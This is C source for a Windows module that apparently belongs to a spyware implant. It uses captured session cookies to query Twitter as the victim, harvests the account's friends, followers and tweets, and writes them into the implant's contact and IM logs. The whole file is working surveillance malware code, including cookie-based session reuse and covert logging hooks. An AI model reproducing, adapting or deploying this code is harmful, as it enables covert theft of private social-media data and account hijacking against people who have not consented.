#include <windows.h>
#include <stdio.h>
#include <time.h>
#include "..\common.h"
#include "..\LOG.h"
#include "SocialMain.h"
#include "NetworkHandler.h"
#include "..\bin_string.h"

extern BOOL bPM_IMStarted; // variabili per vedere se gli agenti interessati sono attivi
extern BOOL bPM_ContactsStarted; 
extern BOOL bPM_MailCapStarted;

extern DWORD GetLastFBTstamp(char *user, DWORD *hi_part);
extern void SetLastFBTstamp(char *user, DWORD tstamp_lo, DWORD tstamp_hi);
extern BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *skype_name, WCHAR *facebook_page, DWORD flags);
extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp

#define TWITTER_FOLLOWER 1
#define TWITTER_FRIEND   0
#define TW_CONTACT_ID1 "\"screen_name\":\""
#define TW_CONTACT_ID2 "\"name\":\""
#define TW_ID_LIMIT 95
DWORD ParseCategory(char *user, char *category, char *cookie, DWORD flags)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL, *r_buffer_inner = NULL;
	DWORD response_len;
	char *parser1, *parser2, *parser_inner1, *parser_inner2;
	WCHAR twitter_request[256];
	char post_data[2048];
	char contact_name[256];
	char screen_name[256];
	char *id_ptr;
	HANDLE hfile;
	DWORD id_count;
	WCHAR *screen_name_w, *contact_name_w;
	char *tag1, *tag2;

	_snwprintf_s(twitter_request, sizeof(twitter_request)/sizeof(WCHAR), _TRUNCATE, L"/1/%S/ids.json?cursor=-1&user_id=%S", category, user);
	ret_val = HttpSocialRequest(L"api.twitter.com", L"GET", twitter_request, 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;
	
	parser1 = (char *)strstr((char *)r_buffer, "\"ids\":[");
	if (!parser1) {
		SAFE_FREE(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	parser1 += strlen("\"ids\":[");
	parser2 = (char *)strchr((char *)parser1, ']');
	if (!parser2) {
		SAFE_FREE(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	*parser2=0;	

	id_ptr = parser1;
	LOOP {
		if (!id_ptr || *id_ptr==0) 
			break;

		id_count = 1;
		LOOP {
			id_ptr = strstr((char *)id_ptr, ",");
			if (!id_ptr)
				break;
			if (id_count == TW_ID_LIMIT) {
				*id_ptr=0;
				id_ptr++;
				break;
			}
			id_count++;
			id_ptr++;
		}			
		
		_snprintf_s(post_data, sizeof(post_data), _TRUNCATE, "user_id=%s", parser1);
		parser1 = id_ptr;
		
		ret_val = HttpSocialRequest(L"api.twitter.com", L"POST", L"/1/users/lookup.json", 443, (BYTE *)post_data, strlen(post_data), &r_buffer_inner, &response_len, cookie);	
		if (ret_val != SOCIAL_REQUEST_SUCCESS) {
			SAFE_FREE(r_buffer);
			return ret_val;
		}
	
		CheckProcessStatus();

		// Verifica quale tag c'e' per primo
		parser_inner1 = strstr((char *)r_buffer_inner, TW_CONTACT_ID1);
		parser_inner2 = strstr((char *)r_buffer_inner, TW_CONTACT_ID2);
		if (!parser_inner1 || !parser_inner2) {
			SAFE_FREE(r_buffer);
			SAFE_FREE(r_buffer_inner);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		if (parser_inner1 < parser_inner2) {
			tag1 = TW_CONTACT_ID1;
			tag2 = TW_CONTACT_ID2;
		} else {
			tag1 = TW_CONTACT_ID2;
			tag2 = TW_CONTACT_ID1;
		}

		parser_inner1 = (char *)r_buffer_inner;
	
		hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
		LOOP {
			parser_inner1 = strstr(parser_inner1, tag1);
			if (!parser_inner1)
				break;
			parser_inner1 += strlen(tag1);
			parser_inner2 = strchr(parser_inner1, '\"');
			if (!parser_inner2)
				break;
			*parser_inner2 = NULL;
			_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, "%s", parser_inner1);
			parser_inner1 = parser_inner2 + 1;

			parser_inner1 = strstr(parser_inner1, tag2);
			if (!parser_inner1)
				break;
			parser_inner1 += strlen(tag2);
			parser_inner2 = strchr(parser_inner1, '\"');
			if (!parser_inner2)
				break;
			*parser_inner2 = NULL;
			_snprintf_s(contact_name, sizeof(contact_name), _TRUNCATE, "%s", parser_inner1);
			parser_inner1 = parser_inner2 + 1;

			contact_name_w = UTF8_2_UTF16(contact_name);
			screen_name_w = UTF8_2_UTF16(screen_name);

			if (tag1 != TW_CONTACT_ID1)
				DumpContact(hfile, CONTACT_SRC_TWITTER, screen_name_w, NULL, NULL, NULL, NULL, NULL, NULL, NULL, contact_name_w, NULL, flags);
			else
				DumpContact(hfile, CONTACT_SRC_TWITTER, contact_name_w, NULL, NULL, NULL, NULL, NULL, NULL, NULL, screen_name_w, NULL, flags);
		
			SAFE_FREE(contact_name_w);
			SAFE_FREE(screen_name_w);
		}
		Log_CloseFile(hfile);
		SAFE_FREE(r_buffer_inner);
	}

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}

DWORD HandleTwitterContacts(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];
	WCHAR user_name[256];
	static BOOL scanned = FALSE;
	HANDLE hfile;

	CheckProcessStatus();

	if (!bPM_ContactsStarted)
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	if (scanned)
		return SOCIAL_REQUEST_SUCCESS;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	// Cattura il proprio account
	parser1 = parser2 + 1;
	parser1 = (char *)strstr((char *)parser1, "data-screen-name=\"");
	if (parser1) {
		parser1 += strlen("data-screen-name=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (parser2) {
			*parser2=0;
			hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
			_snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", parser1);		
			DumpContact(hfile, CONTACT_SRC_TWITTER, user_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONTACTS_MYACCOUNT);
			Log_CloseFile(hfile);
		}
	}
	
	SAFE_FREE(r_buffer);
	scanned = TRUE;

	ParseCategory(user, "friends", cookie, TWITTER_FRIEND);
	return ParseCategory(user, "followers", cookie, TWITTER_FOLLOWER);
}

#define TW_TWEET_BODY "\"text\":\""
#define TW_TWEET_ID "\"id_str\":\""
#define TW_TWEET_TS "\"created_at\":\""
DWORD ParseTweet(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	WCHAR twitter_request[256];
	char tweet_body[256];
	char tweet_id[256];
	char tweet_ts[256];
	char screen_name[256];
	ULARGE_INTEGER act_tstamp;
	DWORD last_tstamp_hi, last_tstamp_lo;
	struct tm tstamp;

	last_tstamp_lo = GetLastFBTstamp(user, &last_tstamp_hi);

	_snwprintf_s(twitter_request, sizeof(twitter_request)/sizeof(WCHAR), _TRUNCATE, L"/1/statuses/user_timeline.json?user_id=%S", user);
	ret_val = HttpSocialRequest(L"api.twitter.com", L"GET", twitter_request, 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	for (;;) {
		CheckProcessStatus();
		parser1 = strstr(parser1, TW_TWEET_TS);
		if (!parser1)
			break;
		parser1 += strlen(TW_TWEET_TS);
		parser2 = strchr(parser1, '\"');
		if (!parser2)
			break;
		*parser2 = NULL;
		_snprintf_s(tweet_ts, sizeof(tweet_ts), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

		parser1 = strstr(parser1, TW_TWEET_ID);
		if (!parser1)
			break;
		parser1 += strlen(TW_TWEET_ID);
		parser2 = strchr(parser1, '\"');
		if (!parser2)
			break;
		*parser2 = NULL;
		_snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

		if (!atoi(tweet_id))
			continue;
		// Verifica se e' gia' stato preso
		sscanf_s(tweet_id, "%llu", &act_tstamp);
		if (act_tstamp.HighPart < last_tstamp_hi)
			break;
		if (act_tstamp.HighPart==last_tstamp_hi && act_tstamp.LowPart<=last_tstamp_lo)
			break;
		SetLastFBTstamp(user, act_tstamp.LowPart, act_tstamp.HighPart);

		parser1 = strstr(parser1, TW_TWEET_BODY);
		if (!parser1)
			break;
		parser1 += strlen(TW_TWEET_BODY);
		parser2 = strchr(parser1, '\"');
		if (!parser2)
			break;
		*parser2 = NULL;
		_snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

		parser1 = strstr(parser1, TW_CONTACT_ID1);
		if (!parser1)
			break;
		parser1 += strlen(TW_CONTACT_ID1);
		parser2 = strchr(parser1, '\"');
		if (!parser2)
			break;
		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

		// XXX Sistemare il timestamp
		GET_TIME(tstamp);
		LogSocialIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE); 	

		parser1 = strstr(parser1, TW_TWEET_TS);
		if (!parser1)
			break;
		parser1 += strlen(TW_TWEET_TS);
		parser2 = strchr(parser1, '\"');
		if (!parser2)
			break;
		parser1 = parser2 + 1;
	}

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}

DWORD HandleTwitterTweets(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];

	CheckProcessStatus();

	if (!bPM_IMStarted)
		return SOCIAL_REQUEST_NETWORK_PROBLEM;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	SAFE_FREE(r_buffer);
	return ParseTweet(user, cookie);
}